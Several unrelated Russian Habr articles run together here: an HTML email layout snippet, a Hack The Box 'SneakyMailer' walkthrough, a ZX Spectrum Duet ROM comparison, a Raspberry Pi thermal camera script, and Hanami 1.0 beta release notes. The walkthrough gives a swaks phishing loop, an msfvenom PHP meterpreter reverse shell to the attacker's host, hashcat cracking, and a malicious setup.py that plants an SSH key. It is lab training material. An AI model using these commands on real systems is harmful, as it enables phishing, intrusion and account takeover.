Результат мы видим на скриншоте выше. При этом мы можем спокойно дергать края браузера для тестирования адаптивности нашей верстки.
Контент
-------
А теперь давайте добавим немного контента нашему письму([Github](https://github.com/dudeonthehorse/Email/blob/master/snippets/layout_with_content.html))
**Скрытый текст**
```
body {
margin:0;
}
a {
color:#0077cc !important;
}
a img {
border:0;
}
a span {
color:#0077cc;
}
table {
border-collapse:collapse;
}
p {
margin:1em 0;
font-family: arial;
font-size:14px;
color:#666666;
line-height:1.4em;
text-align: left;
}
.paragraph {
font-family:arial;
font-size:14px;
color:#666666;
line-height:1.4em;
text-align: left;
}
.button {
display:inline-block;
vertical-align:top;
width:150px;
}
.button table {
border-collapse: separate !important;
border:#ffffff 5px solid;
}
.button div {
font-family:arial;
font-size:14px;
}
.button a, .button span {
color:#ffffff !important;
text-decoration:none;
}
.content {
background-color:#ffffff;
padding:30px;
}
.h1 {
font-family: arial;
font-size: 24px;
color:#666666;
line-height:1.2em;
}
.newsletter {
margin: 0 auto;
max-width: 600px;
}
.wrapper {
width: 100%;
background-color:#f4f4f4;
table-layout: fixed;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
@media only screen and (max-width: 400px) {
/\* причесываем верстку на малых мобильных экранах \*/
}
@media screen and (min-width: 401px) and (max-width: 600px) {
/\* причесываем верстку на средних мобильных экранах \*/
}
@media screen and (min-width: 600px) {
.newsletter { width:600px !important; }
}
| | | | |
| --- | --- | --- | --- |
| Paragraph Heading
[Lorem ipsum dolor](#) sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
| |
| --- |
| **[Button Example](#)** |
| |
| --- |
| **[Button Example](#)** |
| |
| --- |
| **[Button Example](#)** |
Markered List
– Lorem ipsum dolor sit amet, consectetur adipiscing elit
– Lorem ipsum dolor sit amet, consectetur adipiscing elit
– Lorem ipsum dolor sit amet, consectetur adipiscing elit
– Lorem ipsum dolor sit amet, consectetur adipiscing elit |
``` | https://habr.com/ru/post/262427/ | null | ru | null |
# Hack The Box. Прохождение SneakyMailer. Фишинговая рассылка, LPE через PyPI и GTFOBins pip3

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.
```
10.10.10.197 sneakymailer.htb
```
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
```
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
```

Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 — веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
`10.10.10.197 sneakycorp.htb`
На сайте можно найти список сотрудников и соответствующие email’ы.

Для получения всех адресов электронной почты советую использовать [email extractor](https://github.com/kevincobain2000/email_extractor).

А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
```
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt
```

И видим, что какой-то пользователь переходит по нашей ссылке.

Давайте декодируем данные.

И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.
Entry point
-----------
В качестве клиента используем Evolution.




Вводим пароль при подключении и видим два письма.

В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.


Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.


Давайте добавим поддомен dev в /etc/hosts.
`10.10.10.197 dev.sneakycorp.htb`

Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo 'php ' | tr -d '\n' r.php && xclip -selection clipboard -o >> r.php
```

После размещения файла в директорию dev запустим листенер.
`handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321`
И после обращения к нашему файлу, получаем активную сессию.


USER
----
Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.


Давайте найдем пароль.
```
hashcat --example | grep '$apr1' -A2 -B2
```

```
hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt
```

Найденный поддомен также добавим в /etc/hosts.
```
10.10.10.197 pypi.sneakycorp.htb
```

На самом деле, установка своего пакета дает нам возможность выполнения произвольного кода. Вот [хорошая инструкция](https://www.linode.com/docs/applications/project-management/how-to-create-a-private-python-package-repository/) по созданию python пакета. Первым делом создадим директорию.

Теперь нам нужно создать следующие файлы: \_\_init\_\_.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
```
from setuptools import setup
try:
f = open('/home/low/.ssh/authorized_keys', 'a')
f.write('ssh-rsa ... ')
f.close()
except:
setup(
name='ralfpack',
packages=['ralfpack'],
description='R',
version='0.1',
url='http://pypi.sneakymailer.htb:8080/ralfpack',
author='ralf',
author_email='ralf@ralf.com',
keywords=['pip','ralfpack','example'] )
```
Создаем \_\_init\_\_.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).


И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.

Загружаем все файлы на хост.

Получим нормальную оболочку и соберем наш пакет.
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist
```

Теперь загрузим его.
```
python3 setup.py sdist upload -r ralfpack
```

Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.

ROOT
----
Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.

Обращаемся к [GTFOBins](https://gtfobins.github.io/) и видим инструкцию получения шелла.

Повторяем и получаем шелл от имени root.

Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/530132/ | null | ru | null |
# Где в ZX Spectrum системный монитор? Загадка ПЭВМ Дуэт
[ПЭВМ Дуэт](http://speccy.info/%D0%94%D1%83%D1%8D%D1%82) — это российский клон ZX Spectrum 48k, производился Лианозовским электромеханическим заводом (ЛЭМЗ). Это мой самый первый компьютер и он со мной до сих пор. С юного возраста я начал постигать на нем азы программирования, микропроцессорных архитектур и проектирования цифровых схем. Но с тех пор мне не давал покоя вопрос: где системный монитор? Ведь он упоминается в документации. В стандартном ZX Spectrum я не припомню наличия какого-либо системного монитора. И в документации про системный монитор больше ни слова. Существует Монитор для 48к [в ПЗУ версии от 1990г](https://habrastorage.org/web/5da/4a4/ab5/5da4a4ab59f54b93a015d98fc06eaee6.jpg). Однако, после включения, ПЭВМ Дуэт выводит на экран вместо стандартного приветствия — *"(с) 1982 sinclair research ltd"* другое приветствие: *"(с) DUET"*. А это значит, что ПЗУ там всё же изменено. А может быть есть аппаратные возможности мониторинга? К примеру, клон [Орель БК-08](https://ru.wikipedia.org/wiki/%D0%9E%D1%80%D0%B5%D0%BB%D1%8C_%D0%91%D0%9A-08) имеет целый ряд доработок: теневое ОЗУ, кнопка NMI и монитор MZ80. Было бы очень интересно, спустя столько лет, найти какие-то скрытые возможности своей железки.
Наконец-то я нашел ответ на вопрос, который меня периодически волновал все эти годы.

Почему сейчас?
==============
Как известно, спектрумизм — почти неизлечим. И длительные периоды ремиссии могут сменяться обострениями под воздействиями внешних факторов: какая-нибудь статья, [юбилей спектрума](https://geektimes.ru/post/288376/), и вот ты снова [на форумах](http://zx-pk.ru), снова с полки на стол идут [спектрумы](https://habrastorage.org/web/19f/ccf/844/19fccf844e3b4e4885e7b543455353e9.jpg)(которых [не один](https://habrastorage.org/web/517/85a/b04/51785ab0493a49d9abf891014e84181d.jpg) и даже [не два](https://habrastorage.org/web/a4c/5ec/3d1/a4c5ec3d197443688132b14c6118ff13.jpg)) и [включаются](https://habrastorage.org/web/45f/5ec/171/45f5ec171d7b410e9d5fe95cbc7f44b7.jpg) и [работают](https://habrastorage.org/web/563/6bb/ee1/5636bbee130e4d52a6564313b554390d.jpg) (или нет). И потом, постепенно отпускает. Но некоторые вопросы, так и остаются неразрешенными и они так и висят где-то глубоко в подсознании и каждый раз норовят вырваться обратно. Не решены они, как правило, в силу аппаратной неактуальности платформы (что на самом деле спорно). А что, если разрешение давнишних вопросов, проблем или желаний, пусть уже и не актуальных сейчас, может порадовать себя нынешнего? Ведь сейчас это сделать проще. Я думаю, стоит попробовать!
Очередное пришествие вопроса о мониторе
=======================================
Впервые вопросом про монитор я задался практически сразу после покупки, но ответа так и не нашел. Уже в наше время, в начале 2016 года я попробовал [узнать на форуме](http://zx-pk.ru/threads/26296-pevm-duet.html), но ответ опять не нашелся. Вопрос так бы и забылся, но случайно на глаза попалось объявление о продаже клона спектрума — [«Нафаня»](http://speccy.info/%D0%9D%D0%B0%D1%84%D0%B0%D0%BD%D1%8F), и там была фотография странички документации, в которой было написано: [«ПЗУ содержит интерпретатор языка Бейсик и системный монитор»](https://pp.userapi.com/c639416/v639416366/1d5be/sJNv0wkqZOw.jpg). Ну и мы решили все же разобраться и поставить точку в этом вопросе

Товарищи по форуму дали совет:
> *Скорее всего под системным монитором понимается набор стандартных подпрограмм ПЗУ. Попробуйте:
>
> 1. посмотреть на плате установленные ПЗУ, похоже что у вас стоит 2 шт по 8К, это 16К, если дополнительных ПЗУ нет, то искать нужно среди имеющихся 16К.
>
> 2. слить дамп ПЗУ и сравнить со стандартным синклеровским, обычно менялась только надпись в клонах. По различиям можно прикинуть есть-ли что-то интересное.*
Ну не может быть, что все так просто! Изучение [схемы](http://sblive.narod.ru/ZX-Spectrum/DUET/DUET.htm) показало, что никаких дополнительных ПЗУ там нет: две ПЗУ по 8Кб (составляющие стандартные 16кБ ПЗУ с бейсиком). Судя по [фотографии внутренностей](https://pp.userapi.com/c307413/v307413366/b3d9/HRvD7yykADs.jpg) именно моего экземпляра, мой вариант ничем не отличается от схемы на сайте (на самом деле, есть мелкие доработки/изменения, о которых, может быть, в другой раз). Таким образом, аппаратных возможностей для существования монитора не обнаружено.
Сверяем дампы ПЗУ
=================
Для того, чтобы слить дамп и сверить его с оригиналом, нужно проделать следующие шаги:
1) Получить данные из ПЗУ на ПЭВМ Дуэт. Вынимать ПЗУ из платы и пользоваться программатором для этого вовсе не требуется. По той простой причине, что ПЗУ в 48к версии целиком отображается в [адресное пространство по адресам 0..16383](https://habrastorage.org/web/152/b02/51b/152b0251b6b94631a8ae8b507dafa463.png). Это самый низ адресного пространства. Ее можно как считывать программно, так и сохранить через магнитофонный выход командой Бейсика `SAVE "ROM" CODE 0, 16384`
2) Преобразовать данные из звукового файла в TAP файл с помощью утилиты на ПК
3) Извлечь данные из формата TAP в двоичный формат
4) Написать или найти утилиту для сравнения побайтно двух двоичных файлов — с Дуэта и с оригинального спектрума.
Уже на первом этапе я эту идею отбросил, потому что в ноутбуке нет линейного входа, да и переходник у меня спаян только в сторону воспроизведения звука на ПК или смартфоне через линейный выход для подключения на вход ПЭВМ Дуэт. Потому что 99% времени сейчас это загрузка данных в Дуэт, а не наоборот.
Поэтому я решил поступить с точностью до наоборот. Взять оригинальное ПЗУ и загрузить его в оперативную память Дуэта через магнитофонный вход. Затем написать программу для сверки данных в ячейках памяти с выводом информации отличающихся ячеек. Двоичные данные оригинального ПЗУ есть практически в каждом эмуляторе ZX Spectrum. Но для перевода их в звук, для последующей загрузки через магнитофонный вход, пришлось немного повозиться. Я перебрал 3-4 программы, прежде чем смог сделать из двоичного файла TAP файл. Потом уже проще — с помощью утилиты Tape2WAV получил звуковые файлы.
Для загрузки данных с магнитофона в Бейсике ZX Spectrum используется команда LOAD, с параметрами, которые указывают, что грузится код, и в какой адрес памяти его грузить, соответственно, команда `LOAD "" CODE 40000` загрузила данные оригинального ПЗУ в память, начиная с адреса 40000.
Написание программы для сверки памяти
=====================================
Я радостно потираю руки, потому что придется вспомнить свой школьный опыт и программировать под ZX Spectrum причем на нём самом! А, впрочем, чего там вспоминать? Бейсик забыть невозможно, тем более такой простой. Ошибиться в наборе команд трудно, потому что каждое нажатие [клавиши](https://habrastorage.org/web/19f/ccf/844/19fccf844e3b4e4885e7b543455353e9.jpg) вводит сразу целую команду. Быстро и удобно, как Т9, только для Бейсика! Еще хочу сказать, что пользоваться 48к Бейсиком на эмуляторе как раз не удобно, из за того, что на современных компьютерах не подписаны команды Бейсика. Еще один плюс даже такой маленькой машины, как 48к: мы сразу готовы к работе после включения. Никакую среду разработки, компилятор загружать не потребуется. Все, что нужно для работы — есть в ПЗУ.
Бейсик внутри ZX Spectrum интерпретируется. Это снижает скорость работы программ. Но писать такую простую и не критичную к скорости программу на ассемблере — это я считаю уже перебор. Программа пишется за 5 минут. И даже если она будет работать столько же, то меня это устроит. Но оказалось, что потребовалось даже меньше пяти минут:

На скриншоте программа, которую я набрал в эмуляторе (только для того, чтобы сделать скриншот с исходным кодом). Такую же програму я набрал на Дуэте. Поверх скриншота я подписал данные по различиям, найденным в ячейках памяти. Чтож, изменений не так и много. Теперь нужно понять, чего коснулись эти изменения. Для этого нужно знать, что находится в ПЗУ по найденным адресам. К счастью, вся информация есть в книге [«Полный дизассемблер ПЗУ ZX-Spectrum» на русском](http://zx-pk.ru/threads/14994-kniga-quot-polnyj-dizassembler-pzu-zx-spectrum-quot-na-russkom.html?p=422404&viewfull=1#post422404).
Ячейка 109 — в оригинальной ПЗУ 40d в Дуэте 32d
006d 32 вместо 40. Значит 20h(JR nz,\*) вместо 28h (JR z,\*), а в книге jr nz.

Как оказалось, в изначальной версии ПЗУ от 82 года, в этом месте допущена ошибка. Это код обработки немаскируемого прерывания. Без этой ошибки, можно задать в переменной [NMIADD](http://zxpress.ru/book_articles.php?id=136) адрес перехода на обработчик, например, тот же монитор. И по сигналу NMI (кнопкой NMI, как на [Орель БК-08](https://ru.wikipedia.org/wiki/%D0%9E%D1%80%D0%B5%D0%BB%D1%8C_%D0%91%D0%9A-08)), компьютер перешел бы на этот обработчик. Исправления по этому адресу говорят о том, что в Дуэте эта ошибка исправлена и сигнал NMI может полноценно использоваться. Чтож, уже не плохо, но судя по количеству оставшихся изменений в ПЗУ, код монитора в него всетаки не вшит :(
Ожидаемо, 4 байта — это «DUET» вместо (С) 1982 Sinclair Research Ltd
`1539 (C)
153A пробел " "
153B 68 "D"
153C 85 "U"
153D 69 "E"
153E 212 последний символ. инвертированный. 212d + 80h = 54h - "T"`
(СООБЩЕНИЯ — Каждое сообщение выдается с инвертированным последним символом (+80, шестнадцатеричное).
Монитора нет, расходимся?
=========================
К сожалению, никакого системного монитора-отладчика я не нашел, хотя очень старался. Но я очень рад, что смог это выяснить самостоятельно… Но. Но что же такое «системный монитор»? Почему про него написано в доументации к Дуэту и Нафане? Как и было написано выше, *«Скорее всего под системным монитором понимается набор стандартных подпрограмм ПЗУ»*. Так же, в книге с полным дизассемблером ПЗУ ZX Spectrum мы можем прочитать следущее:
`...
ПОЛНОЕ ОПИСАНИЕ ПЗУ КОМПЬЮТЕРА ZX SPECTRUM
...
ВВЕДЕНИЕ
Монитор Spectrum, объемом 16K, представляет собой сложную программу в машинных кодах
Z80. Ее можно разделить на три основные части:
а. Программы ввода/вывода.
б. Интерпретатор BASIC.
в. Вычислительные процедуры.
Однако, для подробного описания эти блоки слишком громоздки, и поэтому монитор
разделен еще на 10 частей. Каждая часть будет представлять собой элемент монитора.`
В последние годы, когда кто-то пишет про ZX Spectrum, то содержимое ПЗУ он скорее всего назовет ОС ZX Spectrum — это встроенный Бейсик. Но в те времена, видимо, такого понятия еще не сформировалось. Были небольшие программы — мониторы для просмотра и изменения содержимого ячеек памяти в HEX виде. Использовались для отладки программ в машинных кодах. По сравнению с ними, спектрумовский «монитор» был очень крут. А то, что мы сейчас называем «монитор», тогда чаще называли «дисплеем».
Таким образом, произошло некое изменение значений понятий. Монитор тогда и монитор сейчас — это разные понятия. Так что, можно считать, что монитор все же найден :) А может у кого-то есть дополнительные сведения?
**Ссылки**
[ZX Spectrum для пользователей и программистов — системные переменные](http://zxpress.ru/book_articles.php?id=1394) — NMIADD
[ZX-Ревю 1991 №1 — Секреты пзу](http://zxpress.ru/book_articles.php?id=136) — NMIADD и ошибка в ПЗУ
[Микропроцессорный комплект Z80. Книга 1. 6. Система прерывании.](http://zxpress.ru/book_articles.php?id=1453) — про NMI
[«Полный дизассемблер ПЗУ ZX-Spectrum» на русском](http://zx-pk.ru/threads/14994-kniga-quot-polnyj-dizassembler-pzu-zx-spectrum-quot-na-russkom.html?p=422404&viewfull=1#post422404)
[Z80 Instruction table](http://clrhome.org/table/) | https://habr.com/ru/post/264913/ | null | ru | null |
# DIY тепловизор на Raspberry PI или «Кажется теперь я знаю, чем займусь этим летом»

Всем привет!
Пришла зима, а с ней и задача проверить теплоизолирующие свойства ~~построек загородной резиденции~~ дачи. А тут ещё оказалось, что на известном китайском сайте появились вполне доступные тепловизионные модули. Не собрать ли себе экзотическую и, возможно, даже полезную вещь — самодельный тепловизор? Почему бы и нет, вроде и Raspberry где-то валялась… Что из этого вышло — расскажу под катом.
MLX90640. Что это?
------------------
А это, собственно, тепловизионная матрица с микроконтроллером на борту. Производства ранее неизвестной мне фирмы Melexis. Тепловизионная матрица имеет размерность 32 на 24 пикселя. Это немного, но при интерполяции изображения вроде как достаточно, чтобы хоть что-нибудь разглядеть.

Сенсор выпускается в двух модификациях, корпуса которых отличаются углом обзора матрицы. Более приземистая конструкция A обозревает окружающий мир под углом 110 (по горизонтали) на 75 (по вертикали) градусов. B — под 55 на 37,5 градусов соответственно. Корпус устройства имеет только четыре вывода — два для питания, два для общения с управляющим устройством по I2C интерфейсу. Даташит для заинтересовавшихся можно скачать [здесь](https://www.melexis.com/en/documents/documentation/datasheets/datasheet-mlx90640).
А что тогда такое GY-MCU90640?
------------------------------
Китайские товарищи ставят MLX90640 на плату с еще одним микроконтроллером на борту (STM32F103). По всей видимости, для более простого управления матрицей. Называется всё это хозяйство GY-MCU90640. И стОит на момент приобретения (конец декабря 2018 года) в районе 5 тыс. руб. Выглядит следующим образом:

Как можно заметить, есть две разновидности плат, с узко- или широкоугольной версией сенсора на борту.
Какая из версий подойдет лучше всего? Хороший вопрос, к сожалению, возник он у меня только после того, как модуль был уже заказан и получен. Почему-то в момент заказа я не обратил внимания на эти нюансы. А зря.
Более широкоугольная версия будет хороша на самоходных роботах или в системах безопасности (поле зрения будет больше). Согласно даташиту, она обладает также меньшим шумом и большей точностью измерения.

Но для задач визуализации я бы больше рекомендовал более «дальнобойную» версию B. По одной очень значимой причине. В перспективе при съемке её можно разворачивать (вручную или на платформе с приводом) и делать составные «фото», увеличивая тем самым более чем скромное разрешение в 32 на 24 пикселя. Собирать тепловизионные снимки 64 на 96 пикселей, например… Ну да ладно, в дальнейшем по тексту фото будут с моей широкоугольной версии A.
Подключение к Raspberry PI
--------------------------
Управлять тепловизионным модулем можно двумя способами:
1. Закоротить перемычку «SET» на плате и по I2C обращаться напрямую к внутреннему микроконтроллеру MLX90640.
2. Оставить перемычку в покое и общаться с модулем через установленный на плате STM32F103 через RS-232 подобный интерфейс.
Если вы пишете на C++, наверное, будет удобнее проигнорировать лишний микроконтроллер, закоротить перемычку и воспользоваться API от производителя, которое лежит вот [здесь](https://github.com/melexis/mlx90640-library).
Скромным питонистам тоже можно пойти первым путём. Вроде как есть пара библиотек на Python ([здесь](https://github.com/RevKarl/MLX90640-python) и [здесь](https://github.com/bsdz/mlx90640-library)). Но у меня, к сожалению, с ходу ни одна не заработала.
Продвинутым питонистам можно в принципе написать драйвер управления модулем на Питоне. Процедура получения кадра подробно расписана в даташите. Но тогда придется прописывать все калибровочные процедуры, что кажется слегка обременительным. Поэтому пришлось пойти вторым путем. Он оказался умеренно тернистым, но вполне проходимым.
Благодаря прозорливости китайских инженеров или просто счастливому стечению обстоятельств у платки оказалось очень удачное расположение выводов:

Осталось только поставить колодку и вставить платку в разъем малины. На плате установлен преобразователь 5 в 3 Вольта, поэтому нежным Rx и Tx выводам Raspberry вроде как ничего не угрожает.
Надо добавить, что подключение по первому варианту тоже возможно, но требует бОльших трудозатрат и паяльной сноровки. Плату нужно ставить с другой стороны разъема Raspberry (изображено на заглавной фотографии этого поста).
Софт
----
На известном китайском сайте для доступа к GY-MCU90640 предлагается вот такое чудо:

По всей видимости, должно быть и какое-то описание протокола взаимодействия с установленным на плате микроконтроллером, по которому сей программный продукт работает! После недолгого общения с продавцом платки (респект этим уважаемым господам) таковой протокол мне и был выслан. Он оказался в pdf и на чистом китайском языке.
Благодаря переводчику Гугла и активному копипастингу примерно через час-полтора протокол был расшифрован, желающие могут ознакомиться с ним на [Github](https://github.com/vvkuryshev/GY-MCU90640-RPI-Python). Оказалось, что платка понимает шесть базовых команд, среди которых есть запрос кадра по COM порту.
Каждый пиксель матрицы — это, по сути, значение температуры объекта, на который этот пиксель смотрит. Значение температуры в градусах Цельсия, умноженных на 100 (двухбайтное число). Собственно, есть даже специальный режим, в котором платка будет слать кадры с матрицы на Raspberry 4 раза в секунду.
**Скрипт для получения тепловизионных снимков здесь:**
```
"""MIT License
Copyright (c) 2019
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE."""
import serial, time
import datetime as dt
import numpy as np
import cv2
# function to get Emissivity from MCU
def get_emissivity():
ser.write(serial.to_bytes([0xA5,0x55,0x01,0xFB]))
read = ser.read(4)
return read[2]/100
# function to get temperatures from MCU (Celsius degrees x 100)
def get_temp_array(d):
# getting ambient temperature
T_a = (int(d[1540]) + int(d[1541])*256)/100
# getting raw array of pixels temperature
raw_data = d[4:1540]
T_array = np.frombuffer(raw_data, dtype=np.int16)
return T_a, T_array
# function to convert temperatures to pixels on image
def td_to_image(f):
norm = np.uint8((f/100 - Tmin)*255/(Tmax-Tmin))
norm.shape = (24,32)
return norm
########################### Main cycle #################################
# Color map range
Tmax = 40
Tmin = 20
print ('Configuring Serial port')
ser = serial.Serial ('/dev/serial0')
ser.baudrate = 115200
# set frequency of module to 4 Hz
ser.write(serial.to_bytes([0xA5,0x25,0x01,0xCB]))
time.sleep(0.1)
# Starting automatic data colection
ser.write(serial.to_bytes([0xA5,0x35,0x02,0xDC]))
t0 = time.time()
try:
while True:
# waiting for data frame
data = ser.read(1544)
# The data is ready, let's handle it!
Ta, temp_array = get_temp_array(data)
ta_img = td_to_image(temp_array)
# Image processing
img = cv2.applyColorMap(ta_img, cv2.COLORMAP_JET)
img = cv2.resize(img, (320,240), interpolation = cv2.INTER_CUBIC)
img = cv2.flip(img, 1)
text = 'Tmin = {:+.1f} Tmax = {:+.1f} FPS = {:.2f}'.format(temp_array.min()/100, temp_array.max()/100, 1/(time.time() - t0))
cv2.putText(img, text, (5, 15), cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 0, 0), 1)
cv2.imshow('Output', img)
# if 's' is pressed - saving of picture
key = cv2.waitKey(1) & 0xFF
if key == ord("s"):
fname = 'pic_' + dt.datetime.now().strftime('%Y-%m-%d_%H-%M-%S') + '.jpg'
cv2.imwrite(fname, img)
print('Saving image ', fname)
t0 = time.time()
except KeyboardInterrupt:
# to terminate the cycle
ser.write(serial.to_bytes([0xA5,0x35,0x01,0xDB]))
ser.close()
cv2.destroyAllWindows()
print(' Stopped')
# just in case
ser.close()
cv2.destroyAllWindows()
```
Результаты
----------
Скрипт опрашивает тепловизионную матрицу и выводит кадры на консоль монитора, на который подключен Raspberry PI, 4 раза в секунду. Этого достаточно для того, чтобы не испытывать большого дискомфорта при съемке объектов. Для визуализации кадра используется пакет OpenCV. При нажатии на кнопку «s» в папку со скриптом сохраняются тепловизионные «тепловые карты» в формате jpg.

Для большей информативности я вывел минимальную и максимальную температуры на кадре. То есть глядя на окраску, можно видеть какая примерно температура у наиболее разогретых или охлажденных предметов. Погрешность измерения — примерно градус с бОльшую сторону. Тепловой диапазон задан от 20 до 40 градусов. Выход из скрипта по нажатию Ctrl + C.

Скрипт работает примерно одинаково и на Raspberry Pi Zero W и на Pi 3 B+. Я установил VNC сервер на смартфон. Таким образом, взяв в руки малину, подключенную к powerbank'у и смарфтон с запущенным VNC можно получить переносной тепловизор с возможностью сохранения тепловых снимков. Возможно, это не совсем удобно, но вполне функционально.
После первого запуска возможно некорректное измерение максимальной температуры. В этом случае нужно выйти из скрипта и запустить повторно.
Вот, собственно, и всё на сегодня. Эксперимент с самодельным тепловизором получился удачным. С помощью данного девайса вполне можно провести тепловизионное обследование дома своими силами, например. Если у кого-то возникнут дополнительные мысли насчет областей применения подобных штук, добро пожаловать в комментарии.
Всем удачной трудовой недели и до новых встреч!
UPD: В комментариях меня просили сделать снимок дома с улицы. Выкладываю здесь. Из-за меньшего контраста температур, чем в помещении, снимки получились не особо информативными. На фото сверху дом целиком с двух сторон. На нижних — фото разных окон.

В коде изменил только температурный диапазон. Вместо +20...+40 поставил -10...+5. | https://habr.com/ru/post/435946/ | null | ru | null |
# Вышла Hanami v1.0.0.beta1

Про [Hanami](http://hanamirb.org) уже [писали на Хабре](https://habrahabr.ru/post/301532/), и у команды есть, чем нас обрадовать:
Заморозка фич, логгер уровня проекта, автоматическое логгирование запросов HTTP, запросы SQL и миграции. Минорные исправления ошибок.
Релиз `v1.0.0.beta1` [замораживает разработку нового функционала](https://ru.wikipedia.org/wiki/Заморозка_(программное_обеспечение)) Hanami для 1.0, вместе с тем добавляет пару новых функций и немного исправлений.
С этого момента **Hanami API's будет оставаться стабильным вплоть до версии 2.0**.
Стабильный релиз (`v1.0.0`) ожидается между концом марта и началом апреля 2017, что совпадает по времени с [традицией любования цветущей Сакурой (Hanami) в Японии](http://www.japan-guide.com/sakura/).
За это время команда Hanami выпустит другие *beta* и *release candidate* версии.
Возможности
-----------
Hanami сейчас совместим с Ruby 2.3+ (включая последний 2.4) и Rack только 2.0.
### Логгер проекта
Мы добавили логгер уровня проекта, доступный как `Hanami.logger`. Если тебе нужно занести что-то в лог, сделай примерно так: `Hanami.logger.debug "hello"`.
По этой причине, логгеры уровня приложений пришлось убрать (eg. `Web.logger`, `Admin.logger`).
Следовательно, настройки логгеров для индивидуальных приложений больше не поддерживаются (т.е. внутри `apps/web/application.rb`). Чтобы настроить логгер, отредактируйте `config/environment.rb`.
### Автоматический логгинг
Проект, построенный на Hanami, может автоматически логировать входящие HTTP запросы, SQL запросы и миграции.
Когда проект запущен в режиме разработки, формат логов выглядит более читаемо:
```
[bookshelf] [INFO] [2017-02-11 15:42:48 +0100] HTTP/1.1 GET 200 127.0.0.1 /books/1 451 0.018576
[bookshelf] [INFO] [2017-02-11 15:42:48 +0100] (0.000381s) SELECT "id", "title", "created_at", "updated_at" FROM "books" WHERE ("book"."id" = '1') ORDER BY "books"."id"
```
Для продакшена, напротив, **JSON** стал форматом по умолчанию. JSON проще парсить и он более машино-ориентированный. Это хорошо сочитается с SaaS агрегаторами логов.
```
{"app":"bookshelf","severity":"INFO","time":"2017-02-10T22:31:51Z","http":"HTTP/1.1","verb":"GET","status":"200","ip":"127.0.0.1","path":"/books/1","query":"","length":"451","elapsed":0.000391478}
```
Миграции будут писать в поток стандартного вывода операции, совершенные со схемой базы данных.
```
➜ bundle exec hanami db migrate
[hanami] [INFO] Begin applying migration 20170213123250_create_books.rb, direction: up
[hanami] [INFO] (0.001756s) CREATE TABLE `books` (`id` integer NOT NULL PRIMARY KEY AUTOINCREMENT, `name` varchar(255) NOT NULL, `created_at` timestamp NOT NULL, `updated_at` timestamp NOT NULL)
